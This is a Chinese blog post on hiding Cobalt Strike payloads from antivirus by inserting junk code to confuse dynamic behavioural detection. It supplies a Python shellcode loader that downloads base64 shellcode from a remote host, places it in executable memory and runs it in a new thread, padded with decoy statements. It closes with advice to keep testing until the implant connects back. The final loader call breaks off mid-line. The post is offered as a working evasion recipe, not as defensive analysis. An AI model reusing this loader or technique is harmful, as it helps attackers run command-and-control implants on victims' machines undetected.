CS 免杀-添加花指令

sugar 2021-02-23
Web安全 发布于 2021-02-23 15:00:26 阅读 51 评论 0

花指令

花指令主要是用来扰乱动态扫描的,但前提是你已经绕过了静态检测《CS免杀-分离+混淆免杀思路》

如果你一股脑的把恶意的代码运行完,目的明确训练有素直击要害,肯定会被检测到啊

为了不让程序检测出我们运行的逻辑和目的,就可以在代码中加入花指令来干扰动态检测。

思路

主要是在代码语句中穿插各种没用的代码,让它显得人畜无害。

就比如:小学生放学了,表现的像乖乖回家的样子,结果半路去了网吧,去网吧以为要玩CSGO,结果打开了小刚的公众号,然后趴在那睡觉。

表现的让杀软捉摸不透,你就有机会绕过动态行为检测。

利用

花指令也没啥固定的利用姿势

就是穿插一些没用的代码或思维逻辑判断语句就行

生产随机字符串

网上找的一个忘记哪个大佬的生成随机字符串的函数

import random, string

def GenPassword(length):
    numOfNum = random.randint(1,length-1)
    numOfLetter = length - numOfNum
    slcNum = [random.choice(string.digits) for i in range(numOfNum)]
    slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)]
    slcChar = slcNum + slcLetter
    random.shuffle(slcChar)
    getPwd = ''.join([i for i in slcChar])
    return getPwd

可用的loader

网上找一个可用python的加载器《CS免杀-Shellcode Loader原理(python)》

用这个随机字符串使劲改就完了

import ctypes
import requests
import base64

scode = ''
if GenPassword(13) == 'jksdfjk':#逻辑判断
           print('True')
else:
           scode = requests.get("http://192.168.1.1/1.txt")

abc = GenPassword(13)+GenPassword(6)#干扰
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
abd = ''.format(GenPassword(6),GenPassword(9),scode.text)#干扰

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
abdas = GenPassword(6)+GenPassword(9)#干扰   

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

if 'sad' != GenPassword(7):#干扰
           abd = GenPassword(7)
else:
           abc = abd

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

abd = GenPassword(6)+GenPassword(9)#干扰                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

abd = GenPassword(6)+GenPassword(9)#干扰
GenPassword(6) if 2>3 else ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),

测试一下能上线就行

图片

注意

上面只是花指令的过动态检测思路,前提是得先绕过静态检测哦

真正绕过动态免杀光靠花指令是不够的,混淆加密分离还是必不可少的。

真正免不免杀还是要靠自己亲手测试一下,多尝试多改动。

原创:https://mp.weixin.qq.com/s/FzAhjGm1ijCkwwR...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!